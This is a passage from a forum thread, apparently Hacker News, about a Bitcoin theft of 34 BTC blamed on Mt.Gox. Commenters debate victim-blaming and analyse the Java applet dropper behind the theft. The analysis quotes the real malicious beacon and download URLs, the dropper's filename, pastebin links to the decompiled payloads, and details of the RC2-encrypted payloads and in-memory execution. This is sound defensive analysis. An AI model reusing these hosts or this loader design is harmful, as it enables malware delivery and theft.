I'm really confused by the title, in particular the "on Mt.Gox" part. Was he "on Mt.Gox['s website]" when he came across this applet? He makes it sound like the exploit was on mt. gox. If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that…
How I got robbed of 34 btc on Mt.Gox today
231–240 of 251 posts
Re: How I got robbed of 34 btc on Mt.Gox today
#232Earlier quoted context omitted.
I'll re-quote the first sentence of my post: > I agree that MtGox shouldn't be doing any kind of refunding in this case. You didn't respond to my central point: blaming the victim.
>You didn't respond to my central point: blaming the victim. Your central point is without merit. The "victim" is a victim, not of MtGox, but their own poor decisions.
Re: How I got robbed of 34 btc on Mt.Gox today
#233Earlier quoted context omitted.
I'll re-quote the first sentence of my post: > I agree that MtGox shouldn't be doing any kind of refunding in this case. You didn't respond to my central point: blaming the victim.
I want to discuss this in more detail as I see this argument come up now and then. I think we first have to discuss the word blame. What do you actually mean by "blame"? Merriam-Webster: >1 to find fault with : censure >2 a : to hold responsible > b : to place responsibility for Do you agree with this? For the sake of the argument I will assume yes. According to this definition did dreen blame the victim? Yes. dreen…
Yes. This is my main point. It's easy to agree with in hindsight. I was insistent because it seemed like the parent completely forgot that there were more than two parties involved in this affair: the OP, MtGox and the phisher.
There is a certain attitude among folks that some people who don't properly secure themselves somehow "deserve" what they get. I vehemently disagree with this sentiment, and it is in essence what I was trying to combat.
> We should pity, not scorn the victim I probably, maybe agree with this.
I am all for calling out the victim's poor security practices as stupid, senseless, etc. But it's another thing entirely to blame the victim for someone stealing from them.
Re: How I got robbed of 34 btc on Mt.Gox today
#234So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox? I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.
> I would be surprised if MtGox decides to refund you I agree that MtGox shouldn't be doing any kind of refunding in this case. > what happened is your own fault entirely You're blaming the victim. If I'm walking down a dark alley and someone pulls a gun on me and takes my wallet, is it my fault because I decided to walk down a dark alley? Not at all. The only person at fault here is the cracker who perpetrated the s…
Put it another way, if you lent your laptop to a friend, and they left it on the table like that and it was stolen, would you really find your friend blameless? Would you lend them a laptop again?
Re: How I got robbed of 34 btc on Mt.Gox today
#235From the source of mtgox-chat.info: Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo…
Re: How I got robbed of 34 btc on Mt.Gox today
#236I'm not doubting Bitcoin's potential to become a true currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.
Cash is vulnerable to actual smash-and-grab attacks, wherein physical items are properly smashed and grabbed. People still use it extensively. The problem with bitcoin isn't necessarily that it's too much like cash, but that people don't treat it enough like they would treat cash. Few people would put their cash in a robot that would hand it over blindly to anyone with the right password, but that's effectively what…
Also, bank vaults are guarded, you can't shoot a bot and you can't dye-pack bitcoins.
Re: How I got robbed of 34 btc on Mt.Gox today
#237Earlier quoted context omitted.
It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app.. /insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE* It appears to download an exe from http://g2f.nl/0lczsoo Then it tries to execute the exe: System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe"; If at any point in the process it hits an exception, it sends the code for that exception to the galax…
The exe it downloads seems to be a compiled AutoIt3 script. Here it is cleaned up: http://pastebin.com/raw.php?i=neP9qXGM Seems like yet another dropper, not the actual bad thing.
Payload 1: binary image that is in the shell() function.
Payload 2: between "\\carbons\\" and "//J_Y//" in original exe. It is encrypted with RC2, the password is in an INI which should be elsewhere in the exe - the script refers to @ScriptFullPath->"crypted"->"key" where crypted is the INI section name and key is the key name.
Both payloads are converted to DLL format in-memory, then Payload 1 is executed in the context of another window using CallWindowProcW, passing a pointer to Payload 2 to it.
Decompiled version of Payload 1 (embedded hex): http://pastebin.com/kxT9NskV
There is an area of null bytes at 0x1c...0x53. I deleted 1 byte, 0x00, from it so that the beginning 'call 0x54' lines up with an instruction. Not sure if that is correct.
If anyone gets a chance I'd appreciate a copy of the original AutoIt binary package (email in profile.)
Re: How I got robbed of 34 btc on Mt.Gox today
#238Earlier quoted context omitted.
The exe it downloads seems to be a compiled AutoIt3 script. Here it is cleaned up: http://pastebin.com/raw.php?i=neP9qXGM Seems like yet another dropper, not the actual bad thing.
Apart from some basic functions like replication (including a message in facebook posts/messages, copying to accessible network drives and usbs), avoiding VMs, and setting itself to run on startup, it looks like most of the work is handed off to 2 payloads embedded in the compiled autoit file. There are also 2 other binaries mentioned (net2 and net4) but I'm not sure what the purpose is right now. Payload 1: binary i…
Perhaps a .Net decompiler could help. Reflector used to be the only good tool around, but since it became a paid tool, other free ones have sprung up. dotPeek is one (no idea how good it is).
Re: How I got robbed of 34 btc on Mt.Gox today
#239Earlier quoted context omitted.
It's going to grow hugely (at least as long as punters keep using bitcoin); there's an expectation that clients will switch away from using the full history sooner or later, and there are mechanisms prepared for remaining reasonably secure with shorter histories.
Hah, so eventually only a few people like central power figures in the bitcoin community will be running with the full blockchain eh? Probably my favorite thing about bitcoin is how, despite its explicit goals, the more adoption it sees the more it looks like it will turn into the same old thing we already have.
We've already seen people wanting an authority to compensate them when their bitcoins are stolen; bitcoins are meant to behave like cash, but an FDICed bank account is much more useful than cash for most people. That said, as long as the full feed remains open to anyone who has the spare compute power/disk space and wants to connect up to it, there's still a big difference from the existing financial system.
Re: How I got robbed of 34 btc on Mt.Gox today
#240Earlier quoted context omitted.
Caveat: This will yield different results whether you initialize the string as > String a = "foo"; vs. > String a = new String("foo");
Parent wrote: "Any two identical literals" The second 'a' is not a literal.
The problem with using == is maintainability and silent failure. Someone may change the program to accept the string from the command line, or just about anything else. As soon as this happens, a string can come in from elsewhere and still have the value "yes" but would still pass the inequality.
This bug would be completely silent and incredibly difficult to debug, possibly only arising in strange and unusual circumstances. The only way to really avoid this is to just use .equals() always. Using == for strings in Java is plain terrible coding, and the OP is therefore correct.